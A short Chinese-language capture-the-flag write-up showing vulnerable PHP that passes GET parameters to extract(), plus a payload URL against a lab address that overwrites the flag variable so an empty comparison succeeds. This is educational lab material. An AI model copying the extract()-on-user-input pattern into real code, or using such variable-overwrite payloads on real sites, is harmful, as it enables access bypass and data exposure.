01

源码如下

```php
<?php

$flag='flag.txt';
extract($_GET);
 if(isset($shiyan))
 {
 $content=trim(file_get_contents($flag));
 if($shiyan==$content)
 {
  echo'ctf{xxx}';
  }
  else
  {
  echo'Oh.no';
  }
  }

?>
```

PAYLOAD

```
192.168.126.138/php_bugs/01.php?shiyan=&flag
```

这里应用了extract函数的参数覆盖功能，强行使判断成立，输出flag